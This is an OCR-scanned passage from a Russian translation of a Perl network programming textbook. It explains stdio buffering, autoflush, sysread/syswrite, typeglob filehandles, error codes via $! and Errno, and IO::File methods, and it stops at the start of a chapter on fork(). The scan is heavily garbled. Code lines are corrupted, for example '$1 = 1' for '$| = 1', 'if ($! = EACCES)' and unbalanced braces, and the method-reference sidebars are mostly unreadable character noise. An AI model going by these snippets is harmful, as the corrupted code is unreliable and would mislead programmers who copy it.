Обычно наличие буферизации stdio не составляет проблемы, но при выполнении
операций ввода-вывода более сложного типа, таких как сетевые операции, могут
возникать затруднения. Рассмотрим общий случай, в котором приложение должно передать
небольшой объем данных на удаленный сервер, подождать ответа, а затем отправить
следующие данные. Программист может считать, что данные уже были отправлены по
сети, но фактически этого иногда не происходит. Выходные данные могут все еще
оставаться в локальном буфере stdio, ожидая поступления дополнительных данных, после
чего должен быть выполнен сброс буфера. Удаленный сервер так и не получит данные
и поэтому не вернет ответ. Программа не получит ответ и поэтому никогда не отправит
дополнительные данные. Налицо типичная тупиковая ситуация.
В отличие от этого, буферизация низкого уровня, выполняемая операционной
системой, не обладает таким свойством. Операционная система всегда пытается
отправить все данные, находящиеся в ее буферах вывода, как только аппаратные
средства будут готовы их принять.
Для обхода буферизации stdio могут применяться следующие два метода. Один
из них состоит во включении режима автоматического сброса для дескриптора файла.
Режим автоматического сброса применяется только к операциям вывода. После
активизации этого режима интерпретатор Perl сообщает функциям библиотеки stdio,
что сброс буфера дескриптора файла должен выполняться после каждого вызова
функции print ().
Для включения режима автоматического сброса должно быть установлено
истинное значение специальной переменной $ |. Этот режим распространяется на деск-
Можно считать, что библиотека stdio — это уровень, который расположен выше операционной системы
ш позволяет программе рассматривать операционную систему как среду, в большей степени совместимую с
языкам С; аналогичным образом стандартная библиотека ввода-вывода Pascal позволяет рассматривать операци-
фкную систему так, как если бы она была написана на языке Pascal
Глава 1. Основы ввода-вывода
47
риптор файла, выбранный в настоящее время, поэтому перед установкой режима
автоматического сброса для конкретного дескриптора файла необходимо вначале
выбрать его с помощью функции select (), установить истинное значение переменной
$ I, а затем применить функцию select () к дескриптору файла, который был выбран
перед этим. Например, чтобы включить режим автоматического сброса для
дескриптора файла FH, необходимо выполнить следующее.
my $previous = select (FH);
$1 = 1;
select($previous);
Иногда эти операции могут быть закодированы с использованием следующей
головоломной конструкции.
select((select(FH), $1=1)[0]);
Однако намного проще вызвать модуль ТО::Handle, который предусматривает
дополнительный метод auto flush () для дескрипторов файлов. После загрузки
модуля IO: : Handle дескриптор файла FH можно перевести в режим автоматического
сброса примерно так:
use IO::Handle;
FH->autoflush(l) ;
Если этот объектно-ориентированный синтаксис кажется вам непривычным,
обратитесь к разделу "Объекты и ссылки" далее в этой главе.
Еще один способ устранения проблем буферизации stdio состоит в
использовании вызовов функций sysread() и syswrite(). Эти вызовы обходят библиотек}'
stdio и преобразуются непосредственно в вызовы функций ввода-вывода
операционной системы. Важным преимуществом этих вызовов является то, что они хорошо
взаимодействуют с другими вызовами функций ввода-вывода низкого уровня, такими
как вызов функции select () с четырьмя параметрами, а также могут применяться
в таких сложных методах, как неблокирующий ввод-вывод.
Еще одним следствием того, что функции sys* () обходят библиотеку stdio,
является различие в поведении между read () и sysread () при получении ими запроса
на выборку большего фрагмента данных, чем фактически имеется. Функция read ()
блокируется на неопределенное время, ожидая поступления именно того объема
данных, который был затребован. Единственным исключением является то, когда
дескриптор файла встречает конец файла перед тем, как будет удовлетворен запрос на
весь объем данных; в этом случае функция read () возвращает все, что находится
перед концом файла. В отличие от этого, функция sysread () может вернуть (и
возвращает) частично считанные данные. Если она не может сразу же прочесть весь
объем затребованных данных, она возвращает доступные данные. Если нет доступных
данных, функция sysread () блокируется до тех пор, пока не сможет вернуть хотя бы
один байт. В силу этого данная функция незаменима при использовании в сетевой
связи, где данные часто поступают в виде фрагментов непредсказуемого размера.
Итак, можно сделать вывод, что для многих сетевых приложений лучше всего
использовать функции sysread () и syswrite ().
Передача и хранение дескрипторов файлов
В сетевых приложениях часто приходится открывать несколько дескрипторов
файлов одновременно, передавать их в подпрограммы и содержать в хешах и других
структурах данных. Perl позволяет рассматривать дескрипторы файлов как строки,
48
Часть I. Основы,
сохранять их в переменных и передавать в подпрограммы. Например, следующий
работоспособный, но потенциально ненадежный фрагмент кода предусматривает
запись дескриптора файла MY_FH в переменную $fh, а затем передачу ее в
подпрограмму hello () для печати дружественного сообщения.
# Способ, чреватый ошибками
$fh = MYFH;
hello($fh);
sub hello {
my $handle = shift;
print $handle "Howdy folks!\n";
}
Этот метод часто позволяет добиться результата; однако он может вызвать
проблемы, как только вы попытаетесь передать дескрипторы файлов в подпрограммы других
пакетов, такие как функции, экспортируемые модулями. Дело в том, что при передаче
дескрипторов файлов в виде строк теряется информация пакета, которому
принадлежит дескриптор файла. Например, при передаче дескриптора файла MY_FH из главного
сценария (пакета main) в подпрограмму, которая определена в модуле MyUtils,
подпрограмма попытается получить доступ к дескриптору файла MyUtils: :MY_FH, а не
к настоящему дескриптору файла, который имеет имя main: :MY_FH. Та же проблема
возникает, безусловно, и в том случае, если подпрограмма одного пакета пытается
вернуть дескриптор файла вызывающей функции из другого пакета.
Правильный способ передачи дескриптора файла состоит в преобразовании его
в шаблон типа или в ссылку на шаблон типа. Шаблоны типа— это входы таблицы
идентификаторов; программисту достаточно знать о них только эти несколько слов,
чтобы иметь возможность их использовать (дополнительные сведения приведены
в документации perlref POD). Для преобразования дескриптора файла в шаблон
типа поместите звездочку ("*") перед его именем.
$fh = *MY_FH;
Чтобы преобразовать дескриптор файла в ссылку на шаблон типа, поместите "\*"
перед его именем.
$fh = \*MY_FH;
В любом случае теперь переменную $fh можно использовать для прямой и обратной
передачи дескриптора файла между подпрограммами и хранения дескриптора файла
в структурах данных. Из этих двух форм ссылка на шаблон типа (\*HANDLE) является
более безопасной, поскольку уменьшает риск случайного присвоения значения этой
переменной и изменения таблицы идентификаторов. Именно такая форма применяется во
всей этой книге и используется во всех модулях ввода-вывода Perl, таких как IO:: Socket.
Ссылки на шаблон типа можно передавать непосредственно в подпрограммы.
hello(\*MY_FH);
Их можно также возвращать непосредственно из подпрограмм.
my $fh = get_fh() ;
sub get_fh {
open (FOO,"foo.txt") or die "foo: $!";
return \*FOO;
}
Ссылки на шаблон типа можно использовать в любом месте, где допускается
применение обычного дескриптора файла, в том числе их можно использовать в качестве
первого параметра функции print (), read (), sysread (), syswrite () или в вызове
любой функции, применяемой для работы с сокетами, которые рассматриваются
в следующих главах.
Глава 1. Основы ввода-вывода
49
Иногда возникает необходимость исследовать скалярную переменную для
определения того, содержит ли она допустимый дескриптор файла. Это можно сделать
с помощью функции f ileno ().
ц1' $ integer = f ileno (FILEHAHDLE) , ' * '"" чШ1"'' :""~J' |
Функция fiienbj) принимаетдескрмптор файла в форме обычной строки, шаблона топа или.
^ссылки»на шаблон типа. Если дескрипторфайла является, допустимым;5функцйя fileno ()* возйра-^
щает номер файла, соответствующий этому дескриптору файла. Номер файла— небольшое целое
число, которое однозначно обозначает дескриптор файла в операционной системе. Дескрипторы
файлов STUIN, stdOut и stTDERR обычно соответствуют номерам файлов О, 1 и.2 (но эти номера'
могут измениться, если соответствующие им дескрипторы будут закрыты и вновь открыты). Другие
дескрипторы файлов имеют номера свыше 3. ijjy |s,. %
Если параметр, переданный функции 'f ileno (), не соответствует действительному дескриптору
файла (включая дескрипторы файлов, ставшие недействительными в результате их закрытия),
функция fileno().возвращает значение undef. Ниже приведена типичная конструкция,
применяема? для проверки того, содержит ли скалярная переменная дескриптор файла. щ
die r"not. a filiehandle? unless defined fileno($*fh); . _. ... . . 3
Контроль ошибок
Поскольку связь по Internet может быть нарушена по многим причинам, в сетевых
приложениях часто возникают ошибки ввода-вывода. Как правило, любая из функций
Perl, применяемая для выполнения операций ввода-вывода, после неудачного
завершения возвращает ложное значение undef. Более конкретную информацию можно
получить путем исследования специальной глобальной переменной $ !.
Переменная $ ! имеет любопытный двойственный характер. Если эта переменная
рассматривается как строка, она возвращает предназначенное для восприятия
человеком сообщение об ошибке типа Permission denied. Однако если она
рассматривается как число, возвращает числовую константу, соответствующую данной ошибке,
которая определена операционной системой (например, EACCES). Обычно лучше
всего для определения конкретных ошибок использовать числовые константы,
поскольку они являются стандартными для всех операционных систем.
Для получения значений конкретных констант с сообщениями об ошибках можно
импортировать их из модуля Errno. В операторе use можно импортировать
отдельные константы, указывая их по имени, или сразу все константы. Для вызова
отдельных констант перечислите их в операторе use (), как показано ниже.
use Errno qw(EACCES ENOENT);
my $result = open (FH, ">/etc/passwd");
if (!$result) { # Возникла ошибка
if ($! = EACCES) {
warn "You do not have permission to open this file.";
} elsif ($! == ENOENT) {
warn "File or directory not found.";
) else {
warn "Some other error occurred: $!";
}
)
Для преобразования текстовой строки в список слов применяется оператор qw ().
Первая строка приведенного выше фрагмента кода эквивалентна следующей:
use Errno ('EACCES','ENOENT■};
50
Часть I. Основы
и вводит в программу константы EACCES и ENOENT. Обратите внимание, что при
сравнении переменной $ ! с числовыми константами применяется оператор
числового сравнения "==".
Для ввода в программу всех обычных констант ошибок импортируйте тег : POSIX.
В результате в программу будут введены константы ошибок, которые определены
стандартом POSIX— межплатформенным API, с которым в основном совместимы
UNIX, Windows NT/2000 и многие другие операционные системы.
use Errno qw(:POSIX);
He имейте привычку просто проверять переменную $ ! для определения того,
не произошла ли ошибка во время последней операции. Переменная $!
устанавливается только после аварийного завершения операции, но не сбрасывается
в случае успешного ее выполнения. Переменная $! имеет адекватное значение
только сразу после того, как функция вернула результат, который указывает на
аварийное завершение.
Применение объектно-ориентированного
синтаксиса при работе с модулями
IO::Handle и 10:: File
Далее в этой книге широко применяются объектно-ориентированные средства
Рег15. Хотя для ее изучения не нужно обладать широкими знаниями о создании
объектно-ориентированных модулей, необходимо иметь представление о том, как
использовать объектно-ориентированные модули и каков их синтаксис. В настоящем
разделе описаны основы объектно-ориентированного синтаксиса Perl на примере
модулей 10:: Handle и IO::File, которые лежат в основе объектно-
ориентированных средств ввода-вывода Perl.
Объекты и ссылки
В языке Perl ссылки являются указателями на структуры данных. Можно
создать ссылку на существующую структуру данных, используя оператор обратной
косой черты.
$а = 'hi there*;
$a_ref = \$а; # Ссылка на скаляр
@Ь = ('this■,'is',•an•,'array■);
$b_ref = \@b; # Ссылка на массив
%c = ( first_name => 'Fred', last_name => 'Jones');
$c_ref = \%c; # Ссылка на хеш
После создания ссылку можно копировать как обычный скаляр или записывать
в массивы или хеши. Для получения данных, содержащихся внутри ссылки, ее можно
разадресовать с использованием префикса, соответствующего ее содержимому.
$а = $$a_ref;
@Ь = @$b_ref;
%с = %$с ref;
Глава 1. Основы ввода-вывода
51
Можно также обращаться по индексу к ссылкам в массиве и хеше без разадресации
всего объекта с использованием оператора ->.
$b_ref->[2]; # Будет получено "an"
$c_ref->{last_name}; # Будет получено "Jones"
Можно также создавать ссылки на анонимные, т.е. безымянные массивы и хеши,
используя следующий синтаксис.
$anonymous_array = ['this', 'is', 'an', 'anonymous','array'];
$anonymous_hash = { first_name => 'Jane', last_name => 'Doe' );
При попытке вывести ссылку на устройство вывода будет получена строка типа
HASH (0x82abOeO), которая обозначает тип ссылки и адрес в памяти, где она
находится (такая информация является почти бесполезной).
Объект — это ссылка с небольшими дополнительными свойствами. Эта ссылка
"включается" в пакет конкретного модуля так, что продолжает нести информацию
о том, в каком модуле она была создана. Включенная ссылка продолжает
действовать аналогично любым другим ссылкам. Например, если объект с именем $ob ject
представляет собой включенную ссылку на хеш, к нему можно обратиться по
индексу примерно так:
$object->{last_name};
Объекты отличаются от простых ссылок тем, что имеют методы. В вызове метода
применяется нотация ->, но за этим оператором следует имя подпрограммы и
необязательные параметры вызова подпрограммы.
$object->print_record(); # вызвать метод print_record()
Иногда в вызове метода используются параметры, как показано ниже.
$object->print_record(encoding => 'EBCDIC');
В языке Perl символ "=>" служит в качестве синонима символа ",". Он позволяет
сделать связь между двумя параметрами более очевидной и имеет дополнительное
преимущество в том, что автоматически заключает в кавычки параметр, находящийся
слева от него. Это позволяет в данном случае записать encoding вместо "encoding".
Если метод не принимает параметров, его часто записывают, опуская круглые скобки,
как показано ниже.
$obj ect->print_record;
Во многих случаях функция print_record () может представлять собой
подпрограмму, которая определена в пакете объекта. Если предположить, что объект был
создан в модуле BigDatabase, то приведенная выше конструкция— просто более
удобный способ записи следующего выражения.
BigDatabase::print_record($object);
Однако язык Perl допускает еще более тонкую трактовку этой программной
конструкции, и определение метода print_record () может фактически находиться
в другом модуле, от которого наследует методы текущий модуль. Описание
принципов реализации этой программной конструкции выходит за рамки настоящего
введения, и его можно найти в документах perltoot, perlobj и perlref POD, а также
в книге [5] и другой справочной литературе по языку Perl, приведенной в
Приложении Г, "Библиография".
2 Вполне естественно, что функуця, которая позволяет превратить обычные ссылки во включенные
(blessed), называется bless ().
52
Часть I. Основы
Для создания объекта необходимо вызвать один из его конструкторов.
Конструктор — это вызов метода, в котором должно быть указано имя модуля. Например, для
создания нового объекта BigDatabase необходимо выполнить следующее.
$object = BigDatabase->new(); # вызвать конструктор new()
Конструкторы, которые представляют собой частный случай метода класса, часто
именуются new (). Однако для их обозначения может применяться любое имя
подпрограммы. Опять-таки, этот синтаксис немного обманчив. В большинстве случаев
эквивалентный вызов может выглядеть следующим образом.
$object = BigDatabase::new{'BigDatabase');
Однако это — не то же самое, поскольку методы класса также могут быть
унаследованы.
Модули 10::Handle и IO::File
Модули IO: : Handle и IO: : File, стандартные компоненты Perl, при совместном
использовании предоставляют объектно-ориентированный интерфейс к
дескрипторам файлов. Модуль IO: :Handle содержит универсальные методы, применимые для
всех объектов дескрипторов файлов, включая каналы и сокеты. Более
специализированный класс, IO: :File, предоставляет дополнительные функциональные средства
открытия файлов и управления ими. Вместе эти классы сглаживают некоторые
недостатки встроенных дескрипторов файлов Perl и упрощают понимание и
сопровождение больших программ.
Сама по себе элегантная конструкция модуля 10:: File не может служить очень
убедительной причиной применения объектно-ориентированных синтаксических
конструкций вместо обычных дескрипторов файлов. Основное значение этого модуля
состоит в том, что модули IO::Socket, IO: :Pipe и другие сетевые модули ввода-вывода
также наследуют свои методы у модуля 10: : Handle. Это значит, что в программах
чтения и записи локальных файлов, а также в программах передачи и приема данных
с удаленных сетевых серверов может применяться общий и удобный интерфейс.
Для получения некоторого представления об этом модуле, рассмотрим небольшой
пример программы, которая открывает файл, считает в нем число строк и сообщает
о полученных результатах (листинг 1.3).
Листинг 1.3. Программа count_lines.pl
О: #!/us r/bin/perl
1: # Файл: count_lineS.pl
2: use strict;
3: use IO::File;
4: my $file = shift;
5: my $counter =0;
6: my $fh = IO::File->new($file)
or die "Can't open $file: $!\n";
7: while ( defined (my $line = $fh->getline) ) {
8: $counter++;
9: }
10: STDOUT->print("Counted $counter lines\n");
Глава l. Основы ввода-вывода
53
Проведем анализ программы.
• Строки 1-3. Загрузка модулей. Включена строгая проверка синтаксиса и загружен модуль
IO::File.
• Строки 4,5. Инициализация переменной. Выполняется выборка имени файла для подсчета в нем
числа строк из командной строки и значение переменной $counter устанавливается равным нулю.
• Строка 6. Создание нового объекта iO::Fiie. Вызывается метод Ю::File::new()
с использованием синтаксической конструкции 10:: File->new (). Параметром является имя
открываемого файла. В случае успешного выполнения конструктор new () возвращает новый
объект Ю: :Fiie, который может применяться для ввода-вывода. В ином случае он
возвращает значение undef, после чего выполняется аварийное завершение путем вызова функции
die с сообщением об ошибке.
• Строки 7—9. Главный цикл. Вызывается метод get line () объекта Ю:: File в операторе
проверки условия цикла while (). Этот метод возвращает новую строку текста, а в конце
файла возвращает значение undef так же, как оператор о. При каждом проходе по циклу
увеличивается счетчик Scounter. Цикл продолжается до тех пор, пока функция getline ()
не возвратит значение undef.
• Строка 10. Печать результатов. Для вывода результатов применяется оператор
STDOUT->print (). Вскоре будет описано, почему применяется такая необычная
синтаксическая конструкция.
При применении сценария count_lines.pl к файлу с незаконченной рукописью
этой главы был получен следующий результат.
% count_lines.pi chl.pod
Counted 2428 lines
Объекты 10: :File фактически представляют собой включенные ссылки на
шаблон типа (см. раздел "Передача и хранение дескрипторов файлов" ранее в этой главе).
Это означает, что их можно использовать в объектно-ориентированной форме, как
показано ниже:
$fh->print("Вызовы функций используют только консерваторы.\п");
или в виде обычных вызовов встроенных функций.
print $fh "Методы объектов являются слишком заумными.\п";
Многие методы модуля IO: :File представляют собой просто оболочки вокруг
встроенных функций Peri. Дополнительно к методам print () и getline ()
предусмотрены, в частности, методы read (), syswrite () и close (). Аргументы за и
против использования вызовов объектно-ориентированных методов и вызовов функций
приведены в главе 5 при описании модуля 10: : Socket.
При загрузке модуля IO: :File (точнее, при загрузке модулем IO: :File модуля
IO: :Handle, от которого он наследует методы) он добавляет методы к обычным
дескрипторам файлов. Это значит, что любой из методов модуля IO: :File может
также применяться при работе с STDIN, STDOUT, STDERR или даже с любыми обычными
дескрипторами файлов, которые были созданы до сих пор. Именно поэтому строка 10
листинга 1.3 позволяет выполнить вывод на стандартное устройство вывода путем
вызова оператора STDOUT->pr int ().
Из приведенного ниже перечня методов в модуле IO: : File фактически
определены только два— new () и new_tmpfile(). Другие унаследованы от модуля
IO: :Handle и могут применяться с другими потомками IO: :Handle, такими как
IO: : Socket. Этот перечень не полон. Автор опустил некоторые наиболее сложные
методы, включая те, которые позволяют перемещаться по файлу с одной записи на
другую, поскольку они не требуются для сетевой связи.
54
Часть I. Основы
-t" „ $fh = 10::FiIe->new($fileriame [,.$то<1е [,Sperms]])! Ki
I i """ t -i
I ■ Основным конструктором в модуле'icf: :File является метод newfK Он представляет собой
унифицированную замену и функции open (), и функции sysopen (). При вызове с одним парамет- ,
ром метод new U действует как версия функции, open (} с двумяпараМетрами, принимая имя фай- \
ла, перед которым может быть указана строка режима, Например, ниже, показано, какгОткрыть дан-^
ный файл для добавления.; ...-.•' ,. '•'- '"\
\ ' $fh- = lO::Fil.e->newf ">darkstar .'txt*') ; «
Г При вызове с двумя или тремя параметрами модуль Ю: :File трактует второй параметр как
• режим открытия файла, а третий — как права доступа к создаваемому файлу. Параметр Smode мо-"
жег представлять собой строку режима в етилехРег1, такую как "+<", 'или восьмеричное числовое
обозначение режима, аналогичное применяемому в функции sysopen ()., Для удобства модуль '
io:iFilerip*i загрузке автоматически импортирует константы о^* модуля Fcntb Кроме того, функ-^
ция ореп.() позволяет воспользоваться альтернативным символическим обозначением режима, '»
применяемым в вызове функции f open о языка С; например, она позволяет указать значение
режима V", чтобы открыть файл для записи. Здесь эти режимы не будут рассматриваться подробно,
поскольку они не предоставляют дополнительных функциональных возможностей. , >. .
■■I
Обозначение прав доступа, приведенное в параметре $perms,. представляет собой восьмеричное
числом имеет то же значение, что и соответствующий параметр, передаваемый функции sysopen (). ' 1
Если метод new{) не может открыть указанный файл, он возвращает значение uridef и
устанавливает в качестве значения переменной $! соответствующее системное сообщение Об ошибке. |
$fh = Jp: sFAle^neif^fcmpfxle , ''^ S»
Конструктор new^tmpflie D„ который вызывается без параметров, создает временный файл, $
открытый для чтения и записи. В системах UNIX этот файл является анонимным, а это значит, что
его нельзя найти в файловой системе. После уничтожения объекта iO::File файл и все его
содержимое удаляется автоматически. Этот конструктор может применяться для временного хранения
большого объема данных. - .8
S result = $£h.->cloj5e •% -А
Метод close (')' закрывает объект Ю: :Fiie и в случае успешного выполнения возвращает ис- 3
тинный результат. Если метод close () не будет вызван явно, он будет вызван автоматически при
уничтожении объекта. Это происходит при выходе из сценария, при применении к объекту функции г
undef i) или при выходе объекта из области определения, например, как в случае достижения пе-"
ременной гп^конца включающего ее блока.; L, '-■ ;* J
$result = $fh->open{$filename [,$mode [;,$perms]J.) ;t|
Можно переоткрыть объект дескриптора файла на указанном файле с использованием его мето- *
да open (). Входные параметры идентичны методу newt |, Результат вызова метода указывает, бы-
ла ли операция открытия выполнена успешно.. -, ' % *ч ,-• 1
Это в основном применяется для пврёоткрытия стандартных дескрипторов файлов stdout, ^
STDIN И STDERR! *i s. ;> и >» 5
siiD&JT-^Dpent^log.Ext''.) or die J?Can?t. reopen STDOUT: $!*^; ,. '*■
Теперь при вызове функции print () выходные двнные будут поступать в файл log.txt. j
Sresult = $fh->print<eargs> \ д |
$result = $£hu>printf(Sfmt.gaxgs) \
Sbytes:= $fti->write4$date. LSlength bSoffset]» !
Sbytei <= $fli-^syswrite(Sdatei lV$*ength >t,$bffsetn) j
Методы print <}, printf () и syswriteu действуют так же, как их встроенные аналоги. На-"
пример, print () принимает список элементов данных, записывает их в объект дескриптора файла
и возвращает истинное значение в случае успешного выполнения» ь \, ■• , >
Метод write О противоположен методу regdu; он записывает поток байтов в объект дескрип- *
тора файлами возвращает.число .успешно записанных?байгой..Этот метод аналогичен функции {
syswrite U, за исключением того; что в нем применяется буферизация i'tdio. Метод write О ис- *
правляет ошибку, допущенную при.выборе имени встроенной функцйи^гИМ%), которая предна- *
значена для создания форматированных отчетов. Метод объекта.10: :Ffle, который соответствует ,
|встроенно" ф. нкции write/), именуется Jorjnai^riteJ}. _ ^ ]
Глава 1. Основы ввода-вывода
55
I;. Sline == $fK->getlirie
f 6lines — $fh->getlines J
|; $bytes = $fh->read($bu£Eer,$lerigth [,$offset]) - |
l~ $bytes =- $fh->sysre^d($buff6r/Sleii^th [, $offset]) j
j MejCflbiig^tlineO и getriijes^ вместе заменяют оператор о. Метод^getline (,) считывает J
j одну строку из объекта дескриптора файла и возвращает ее, обнаруживая одинаковое поведение
I, и в скалярном контексте, и в контексте списка. Метод getliites (h действует аналогично оператору'..,
\<>ъ контексте списка «возвращая список всех имеющихся строк. -МетодLgeiiine Q в конце файла j
j возвращает значение lindef, Л _ г ^ - ., д
,|f Методы t/ead (f) и siysread (>: действуют аналогично их встроенным функциональным аналогам. Щ
•}' $ previous = $fh->autoflush([$boolean]) -" I
"• .,,••', , ,"• , . ~f „_ . \ . _ |
Метод autoflushЦ получает или устанавливает!режим auto flusho'для объекта дёсфиптора
файла. При вызове без параметров он включает автоматический сброс. При вызове с одним
логическим параметром он устанавливает режим автоматического сброса в указанное состояние. В любом .
случае функция auto flush (j возвращает предыдущее значение состояния автоматического сброса. -•"-!
t. $boolean = i$fh-i>opened ; !?. -Д". ' Ц
к :• ..л . '" . , Г -1
It Л Метод Qpened() возвращает истинное значение, если объект дескриптора файла в настоящее '
j время является действительным, Он экЕМвалентен.следующему оператору: ^ *;"" "''?:; f
'defined Eilerto.tSfhr,- -* ' * '-"' I
К, $bodleaji = $fh->eof ~ „. |
й Возвращает истинное значение, если- при следующем чтении из объекта дескриптора файла бу-:
•■ дет возвращено значение. есж:- ' |
fi< ^fh->flush *'' :
| Метод flush {} немедленно сбрасывает на устройство вывода всё. данные, буферизованные ?
I в объекте дескриптора файла. Если дескриптор файла используется для записи, то его буферизо-J
( ванные данные записываются на диск (или в канал, или в сеть, как будет показано в описании рбъ- \
ектов Ю::socket). Если дескриптор файла применяется для чтения, всё данные в буфере огбра-,.
[ сываются, что вынуждает программу Получить следующую порцию считываемых с диска данных. ■■,
[, '* $boolean = $fh->blpcking<[$boolean]). й '- ^ \\
Метод blocking (} включает' и выключает режим блокировки для дескриптора файла. Подроб-,
L ное описание использования этого метода приведено в главе 13.. ■% ~' ]
| ;$fh->olfe?u:err:j* ;| *- J
f $booleari = $£h->error * j
i .. _-. . ' - $
f Эти два Метода удобны, если нужно выполнить ряд операции ввода-вывода и проверить результаты j
> выполнения на отсутсгаие ошибок только после их завершения. Метод error () возвращает истинное >
i значение,1 если в дескрипторе файла возникли какие-либо ошибки после его создания или после лоследне-1
pro вызова метода clearer г ()& Метод ciearerr {J очищает флажок с обозначением ошибок. ._^
Кроме методов, перечисленных выше, в модуле IO: :File имеются конструктор
new_from_fd() и метод fdopen(), которые унаследованы от модуля 10: :Handle.
Эти методы могут применяться для сохранения и восстановления объектов во многом
аналогично тому, как в форме >&FILEHANDLE, применяемой со стандартными
дескрипторами файлов.
; $fh = ГО: :File->new_^rom_fdi$fd/$mode) " .■* "*-~ ~ "" ."" v " ~ "^ j|
-•Метод' new from fd () открывает копию объекта дескриптора файла, указанного параметром
$fd, с использованием режима чтения/записи, который задан параметром $mode. Объектом может
j быть объект 10; ziandle, объект'lb: :FjLle, обычный дескриптор файла или целочисленный номер ;
I файла, возвращенный функцией -fiieno(b Параметр:$1поае должен.соотаетствовать режи скот-!
|, торым был первоначально открыт объект, указанный параметром $ f d. <М
Т. ^sayeoutj = IO: i^ile-^riew, from. fd{STPbuT,f>';j^ ¥ .. .,„ ^ ^<-J
56
Часть I. Основы
f^?::nr , -^.-';i*?!ss /■.,-. i« _„r-—; " B^- ■-•- . „ .. . ?кт. ^r^—-s гт-^*-- ^т^Г' ;т--х^— .г.азт~ ™r?o —" *w?r^ t^^
$r^sult/= $fn->fdopen ($£d> $inode)
Метод idopenOj применяется для переоткрытия су^ствующего объекта дескриптора файла
и превращения его в копию* другого объекта. Параметр $fd может представлять собой объект
io::Handle, обычный дескриптор файла или целочисленный номер файла. Параметр $mode должен
соответствовать режиму, с которым был первоначально открыт объект, указанный параметром .Sfd. }
Этот метод с>бычНо'истользуется?в сочетании с .методом new_f rom_f а (У для восстановления
сохраненного десфйптора файла. % •* - „^ ч .... « »-••
Ssaveout = 16: SFile->new_from_fd.£STDOlU, ">"); # Сохранить STDODT
SM)OUT->openf'>iog.txt"); я # Переоткрыть в файл1 I
! £MDOUTb>print jf''Yippy, yie уау!\р!!); # Что-нибудь■ -выверти !
:! STDbUT^fdOperi?($saveput,^>"') ; '#.'Переоткрыть 'с йр'ежнийг
..-;- --, ~^е~, . -- .. -.- s. ^ .,-^ # значением . w ._. _ , i
Для ознакомления с более сложными средствами, предусмотренными в модулях
10: : Handle и IO: : Fi le, обратитесь к документации POD.
Резюме
Язык Perl и сетевое программирование созданы друг для друга. Мощные
возможности обработки текста Perl в сочетании с гибкой подсистемой ввода-вывода создают
идеальную среду для межпроцессной связи. Если учитывать также встроенную в этот
язык поддержку протокола сокетов Berkeley, Perl является превосходным выбором
для сетевых приложений.
В настоящей главе приведен обзор наиболее важных компонентов API-
интерфейса ввода-вывода Perl. Дескриптор файла — основной объект, применяемый
в операциях ввода-вывода Perl; он поддерживает и построчный режим, и режим,
ориентированный на обмен потоками байтов.
Дескрипторы файлов STDIN, STD0UT и STDERR открываются при запуске программы
и соответствуют стандартным устройствам ввода данных, вывода данных и вывода
сообщений об ошибках. В сценарии можно открывать дополнительные дескрипторы
файлов или переоткрывать стандартные дескрипторы для обработки других файлов.
Стандартные средства библиотеки ввода-вывода, применяемые в операторе о
и функциях read () и print (), способствуют повышению эффективности операций
ввода-вывода за счет применения буферизации. Однако буферизация иногда может
быть нежелательной. Один из способов предотвращения проблем, связанных с
буферизацией, предусматривает переход дескриптора файла в режим автоматического
сброса. Другой способ состоит в использовании функций syswrite () и sysread()
низкого уровня.
Модули 10: :File и IO: : Handle позволяют применять к дескрипторам файла
объектно-ориентированные методы. Они устраняют некоторую несогласованность
первоначального проекта Perl и открывают путь к постепенному переходу на модуль
10::Socket.
Глава 1. Основы ввода-вывода
57
Глава |Т|
Процессы, каналы
и сигналы
В настоящей главе рассматриваются три наиболее важных средства Perl:
процессы, каналы и сигналы. Путем создания новых процессов программа Perl может
вызывать на выполнение другие программы или даже создавать собственные копии для
распределения работы. Каналы позволяют сценариям Perl обмениваться данными
с другими процессами, а сигналы дают возможность контролировать другие процессы
из сценариев Perl и управлять ими.
Процессы
UNIX, VMS, Windows NT/2000 и большинство других современных операционных
систем являются многозадачными. Они позволяют выполнять одновременно
несколько программ, в каждой из которых поддерживается отдельный поток
выполнения команд, называемый процессом. На компьютерах с несколькими процессорами
процессы, выполняемые на отдельных процессорах, функционируют, в полном
смысле слова, одновременно, а процессы, выполняемые на однопроцессорных
компьютерах, только кажутся работающими одновременно, поскольку операционная
система быстро переключает управление с одного процесса на другой, предоставляя
каждому из них небольшой интервал времени для выполнения.
В сетевых приложениях часто требуется выполнять сразу две или более задач.
Например, сервер может быть вынужден одновременно обрабатывать запросы от
нескольких клиентов или выполнять один запрос, ожидая в то же время поступления
новых запросов. Многозадачный режим значительно упрощает написание подобных
программ, поскольку позволяет запускать новые процессы для выполнения каждой из
задач, которые возникают перед приложением. Каждый процесс в той или иной
степени является независимым, что позволяет одному процессу выполнять свою работу
без учета того, какие действия выполняют другие процессы.
Язык Perl поддерживает многозадачный режим двух типов. Один из них основан
на традиционной модели мультипроцессной обработки UNIX, позволяющей
текущему процессу создавать собственную копию путем вызова функции f or k (). После
выполнения функции f ork () появляются два процесса, почти во всем аналогичные друг
другу. Один из них получает задание выполнять одну задачу, а другой — другую.
58
Часть I. Основы
Многозадачный режим другого типа, основанный на современной концепции
упрощенных "потоков команд" (thread), обеспечивает выполнение всех задач в рамках
одного процесса. Однако и в этом случае одна программа может иметь несколько
потоков выполнения, работающих в ней независимо друг от друга.
В настоящем разделе будут представлены функция f ork (), а также переменные
и функции, применяемые в управлении процессами. Многопоточная обработка
рассматривается в главе 11.
Функция fork()
Функция f ork () может применяться во всех версиях Perl для UNIX, а также в
версиях для VMS и OS/2. Версия 5.6 языка Perl обеспечивает поддержку функции fork ()
на платформах Microsoft Windows, но, к сожалению, не на Macintosh.
Функция fork () языка Perl не принимает параметров и возвращает числовой код
результата. После вызова функция f ork () запускает на выполнение точную копию
текущего процесса. Дубликат, называемый дочерним процессом, разделяет с
родительским процессом текущие значения всех переменных, дескрипторы файлов (включая
данные в стандартных буферах ввода-вывода) и другие структуры данных. В
действительности дублирующий процесс повторяет оригинальный процесс вплоть до того
момента, как была вызвана функция fork (). Это можно сравнить с тем, как человек
входит в кабинку для клонирования в научно-фантастическом фильме. Его копия,
просыпаясь в соседней кабинке, помнит все, что происходило с оригиналом, вплоть
до того момента, как он вошел в кабинку для клонирования, но думает: "Ведь я же входил
в другую кабинку!? И кто этот симпатичный молодой человек в той кабинке, куда я вошеяТ
Для обеспечения мирного сосуществования процессов необходимо, чтобы
родительский и дочерний процессы знали, кто есть кто. С каждым процессом в системе
связано уникальное положительное целое число, называемое идентификатором
процесса, или сокращенно PID (process ID).
После вызова функции fork () родительский и дочерний процессы проверяют
возвращаемое значение функции. В родительском процессе функция fork()
